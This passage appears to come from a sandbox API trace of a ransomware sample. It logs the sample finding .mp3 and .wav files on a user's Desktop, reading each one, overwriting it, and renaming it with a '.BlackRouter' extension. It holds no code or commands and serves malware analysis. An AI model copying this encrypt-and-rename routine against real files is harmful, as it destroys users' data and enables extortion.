lpOldMode=0x1ae5b0) returned 1 [0040.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3", lpFilePart=0x0) returned 0x3a [0040.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3.BlackRouter", lpFilePart=0x0) returned 0x46 [0040.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.311] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aacnsxz37sfflh0c.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f1e2ac0, ftCreationTime.dwHighDateTime=0x1d46083, ftLastAccessTime.dwLowDateTime=0x1b9dc1f0, ftLastAccessTime.dwHighDateTime=0x1d46536, ftLastWriteTime.dwLowDateTime=0xbe89c670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4a30)) returned 1 [0040.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.312] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aacnsxz37sfflh0c.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aacnsxz37sfflh0c.mp3.blackrouter")) returned 1 [0040.313] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3", lpFilePart=0x0) returned 0x31 [0040.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cjndwr2.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.313] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x20e1 [0040.313] ReadFile (in: hFile=0x258, lpBuffer=0x2947738, nNumberOfBytesToRead=0x20e1, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2947738*, lpNumberOfBytesRead=0x1ae708*=0x20e1, lpOverlapped=0x0) returned 1 [0040.315] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3", lpFilePart=0x0) returned 0x31 [0040.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cjndwr2.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3", lpFilePart=0x0) returned 0x31 [0040.320] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3.BlackRouter", lpFilePart=0x0) returned 0x3d [0040.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cjndwr2.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2ed17d0, ftCreationTime.dwHighDateTime=0x1d4622f, ftLastAccessTime.dwLowDateTime=0x328cf0b0, ftLastAccessTime.dwHighDateTime=0x1d46555, ftLastWriteTime.dwLowDateTime=0xbe8c27d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x20f0)) returned 1 [0040.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.321] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cjndwr2.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CjnDwr2.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cjndwr2.mp3.blackrouter")) returned 1 [0040.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3", lpFilePart=0x0) returned 0x38 [0040.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dv87rg n4j69_z.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.323] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x4d8c [0040.323] ReadFile (in: hFile=0x258, lpBuffer=0x294c4a8, nNumberOfBytesToRead=0x4d8c, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x294c4a8*, lpNumberOfBytesRead=0x1ae708*=0x4d8c, lpOverlapped=0x0) returned 1 [0040.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3", lpFilePart=0x0) returned 0x38 [0040.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dv87rg n4j69_z.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3", lpFilePart=0x0) returned 0x38 [0040.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3.BlackRouter", lpFilePart=0x0) returned 0x44 [0040.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dv87rg n4j69_z.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fbfc300, ftCreationTime.dwHighDateTime=0x1d4635d, ftLastAccessTime.dwLowDateTime=0x49977d70, ftLastAccessTime.dwHighDateTime=0x1d45fd3, ftLastWriteTime.dwLowDateTime=0xbe8c27d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4d90)) returned 1 [0040.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.329] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dv87rg n4j69_z.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dv87rG n4j69_Z.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dv87rg n4j69_z.mp3.blackrouter")) returned 1 [0040.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3", lpFilePart=0x0) returned 0x35 [0040.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mietspyhzc8.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.330] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0xc265 [0040.330] ReadFile (in: hFile=0x258, lpBuffer=0x2956b98, nNumberOfBytesToRead=0xc265, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2956b98*, lpNumberOfBytesRead=0x1ae708*=0xc265, lpOverlapped=0x0) returned 1 [0040.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3", lpFilePart=0x0) returned 0x35 [0040.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mietspyhzc8.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3", lpFilePart=0x0) returned 0x35 [0040.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3.BlackRouter", lpFilePart=0x0) returned 0x41 [0040.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.337] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mietspyhzc8.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ebdd80, ftCreationTime.dwHighDateTime=0x1d4602d, ftLastAccessTime.dwLowDateTime=0x2a3dfec0, ftLastAccessTime.dwHighDateTime=0x1d45da5, ftLastWriteTime.dwLowDateTime=0xbe8e8930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc270)) returned 1 [0040.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.337] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mietspyhzc8.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MIETsPYhZC8.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mietspyhzc8.mp3.blackrouter")) returned 1 [0040.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3", lpFilePart=0x0) returned 0x3a [0040.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nnw-jt-fjaju14le.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.338] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x12fd3 [0040.338] ReadFile (in: hFile=0x258, lpBuffer=0x296fc38, nNumberOfBytesToRead=0x12fd3, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x296fc38*, lpNumberOfBytesRead=0x1ae708*=0x12fd3, lpOverlapped=0x0) returned 1 [0040.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3", lpFilePart=0x0) returned 0x3a [0040.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nnw-jt-fjaju14le.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3", lpFilePart=0x0) returned 0x3a [0040.346] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3.BlackRouter", lpFilePart=0x0) returned 0x46 [0040.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.346] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nnw-jt-fjaju14le.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28007c00, ftCreationTime.dwHighDateTime=0x1d45a9e, ftLastAccessTime.dwLowDateTime=0x53963da0, ftLastAccessTime.dwHighDateTime=0x1d4595e, ftLastWriteTime.dwLowDateTime=0xbe8e8930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12fe0)) returned 1 [0040.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.347] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nnw-jt-fjaju14le.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NNW-jt-FJAJU14le.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nnw-jt-fjaju14le.mp3.blackrouter")) returned 1 [0040.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.348] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.348] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.348] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.349] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.349] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.349] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav", lpFilePart=0x0) returned 0x2e [0040.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0epb.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.349] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x8dde [0040.350] ReadFile (in: hFile=0x258, lpBuffer=0x2997548, nNumberOfBytesToRead=0x8dde, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x2997548*, lpNumberOfBytesRead=0x1ae708*=0x8dde, lpOverlapped=0x0) returned 1 [0040.352] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav", lpFilePart=0x0) returned 0x2e [0040.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0epb.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav", lpFilePart=0x0) returned 0x2e [0040.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav.BlackRouter", lpFilePart=0x0) returned 0x3a [0040.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae740) returned 1 [0040.356] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0epb.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84995b0, ftCreationTime.dwHighDateTime=0x1d46492, ftLastAccessTime.dwLowDateTime=0x3f2391f0, ftLastAccessTime.dwHighDateTime=0x1d46503, ftLastWriteTime.dwLowDateTime=0xbe90ea90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x8de0)) returned 1 [0040.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae700) returned 1 [0040.356] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0epb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0ePb.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0epb.wav.blackrouter")) returned 1 [0040.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav", lpFilePart=0x0) returned 0x30 [0040.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ciufvz.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.357] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x15dc3 [0040.358] ReadFile (in: hFile=0x258, lpBuffer=0x14658f58, nNumberOfBytesToRead=0x15dc3, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x14658f58*, lpNumberOfBytesRead=0x1ae708*=0x15dc3, lpOverlapped=0x0) returned 1 [0040.364] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav", lpFilePart=0x0) returned 0x30 [0040.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ciufvz.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav", nBufferLength=0x105, lpBuffer=0x1ae300, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav", lpFilePart=0x0) returned 0x30 [0040.369] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cIufVz.wav.BlackRouter", nBufferLength=0x105, 